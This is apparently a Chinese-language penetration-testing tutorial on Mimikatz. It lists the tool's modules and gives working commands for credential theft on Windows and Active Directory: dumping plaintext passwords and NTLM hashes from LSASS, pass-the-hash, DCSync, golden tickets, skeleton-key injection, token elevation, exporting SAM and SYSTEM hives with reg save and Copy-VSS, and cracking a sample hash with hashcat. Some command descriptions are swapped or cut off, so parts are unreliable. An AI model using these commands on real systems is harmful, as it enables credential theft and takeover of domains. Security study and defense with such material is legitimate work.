Mimikatz介绍
项目地址 https://github.com/gentilkiwi/mimikatz/
模块命令如下:
cls:清屏
standard:标准模块,基本命令
crypto:加密相关模块
sekurlsa:与证书相关的模块
kerberos:kerberos模块
privilege:提权相关模块
process:进程相关模块
serivce:服务相关模块
lsadump:LsaDump模块
ts:终端服务器模块
event:事件模块
misc:杂项模块
token:令牌操作模块
vault:Windows、证书模块
minesweeper:MineSweeper模块
net:
dpapi:DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight:BusyLightModule
sysenv:系统环境值模块
sid:安全标识符模块
iis:IISXML配置模块
rpc:mimikatz的RPC控制
sr98:用于SR98设备和T5577目标的RF模块
rdm:RDM(830AL)器件的射频模块
acr:ACR模块
version:查看版本
exit:退出
常用命令
CRYPTO::Certificates–列出/导出凭证。
KERBEROS::Golden–创建黄金票证/白银票证/信任票证。
KERBEROS::List–列出在用户的内存中所有用户的票证(TGT和TGS)。
KERBEROS::PTT–票证传递。
LSADUMP::DCSync–向DC发起同步一个对象(获取帐户的密码数据)的质询。
LSADUMP::LSA–向LSAServer质询检索SAM/AD的数据(正常或未打补丁的情况下)。可以从DC或者是一个lsass.dmp的转储文件中
导出所有的ActiveDirectory域凭证数据。同样也可以获取指定帐户的凭证,如krbtgt帐户,使用/name参数,
如:“/name:krbtgt”。
LSADUMP::SAM‐获取SysKey来解密SAM的项目数据(从注册表或者hive中导出)SAM选项。可以连接到本地安
全帐户管理器(SAM)
数据库中并能转储本地帐户的凭证。可以用来转储在Windows计算机上的所有的本地凭据。
LSADUMP::Trust‐向LSAServer质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或
林转储信任密钥(密码)
MISC::AddSid–将用户帐户添加到SID历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或SID
)。
MISC::MemSSP–注入恶意的WndowsSSP来记录本地身份验证凭据。
MISC::Skeleton–在DC中注入万能钥匙(SkeletonKey)到LSASS进程中。这使得所有用户所。
使用的万能钥匙修补DC使用“主密码”(又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
PRIVILEGE::Debug–获得Debug权限(很多Mimikatz命令需要Debug权限或本地SYSTEM权限)。
SEKURLSA::Ekeys–列出Kerberos密钥
SEKURLSA::Kerberos–列出所有已通过认证的用户的Kerberos凭证(包括服务帐户和计算机帐户)。
SEKURLSA::Krbtgt–获取域中Kerberos服务帐户(KRBTGT)的密码数据。
SEKURLSA::LogonPasswords–列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的
计算机的凭证。
SEKURLSA::Pth–Hash传递和Key传递(注:Over‐Pass‐the‐Hash的实际过程就是传递了相关的Key(s))。
SEKURLSA::Tickets–列出最近所有已经过身份验证的用户的可用的Kerberos票证,包括使用用户帐户的上下文运
行的服务和本地计算机
在AD中的计算机帐户。与kerberos::list不同的是sekurlsa使用内存读取的方式,它不会受到密钥导出的限制。
TOKEN::List–列出系统中的所有令牌。
TOKEN::Elevate–假冒令牌。用于提升权限至SYSTEM权限(默认情况下)或者是发现计算机中的域管理员的令牌。
TOKEN::Elevate/domainadmin–假冒一个拥有域管理员凭证的令牌。
接下来看几个常用的模块
sekurlsa模块
privilege模块
privilege::debug提升为debug权限
sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
sekurlsa::msv获取HASH(LM,NTLM)
sekurlsa::wdigest通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg通过tspkg读取明文密码
sekurlsa::livessp通过livessp读取明文密码
sekurlsa::ssp通过ssp读取明文密码
sekurlsa::logonPasswords通过以上各种方法读取明文密码
sekurlsa::process将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidumpfile这个模块可以读取已经打包的内存信息
sekurlsa::pth哈希传递
sekurlsa::pth/user:administrator/domain:host1/ntlm:cdf34cda4e455232323xxxx
sekurlsa::pth/user:administrator/domain:host1/aes256:cdf34cda4e455232323xxxx
读取测试
正常来说是没办法查看域控的文件的。但是可以通过privilege::debug提权后,即可查看
process::run 123.exe
在CS里面出现提权之后的主机:
一行命令读取:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 1.txt
process模块
process::list列出进程列表
process::exports导出进程列表
process::imports导入列表
process::start开始一个进程
process::stop停止一个程序
process::suspend冻结一个进程
process::resume从冻结中恢复
process::runnotepad运行一个程序
process::runp以SYSTEM系统权限打开一个新的mimikatz窗口
kerberos模块
kerberos::list列出系统中的票据
kerberos::tgt清除系统中的票据
kerberos::purge导入票据到系统中
kerberos::ptc票据路径
lsadump模块
在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync/domain:kevin.com/user:root (在域控上执行)读取所有域用户的哈希
lsadump::lsa/patch从sam.hive和system.hive文件中获得NTLMHash
lsadump::sam/sam:sam.hive/system:system.hive从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam
SAM文件抓取密码
导出sam和system文件
方法1、通多reg命令无工具导出
regsavehklm\samsam.hive
regsavehklm\systemsystem.hive
方法2、通过nishang中的Copy-VSS进行复制,如果这个脚本运行在了 DC服务器上,ntds.dit 和 SYSTEM hive也能被拷贝出来
cd \Users\jack\Desktop
Import-Module .\Copy-VSS.ps1
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Import-Module .\Copy-VSS.ps1
Copy-VSS
读取sam和system文件获取密码
lsadump::sam/sam:sam.hive/system:system.hive
就找到密码的hash了
破解密码:
hashcat -m 1000 32ed87bdb5fdc5e9cba88547376818d4 /usr/share/wordlists/rockyou.txt -D 1 >result.txt
得到这个密码,这个是用户31979的密码
提示:
如果这样显示
修改kali虚拟机内核为单核,内存4G即可。
参考:http://blog.2fxw.cn/post/15.html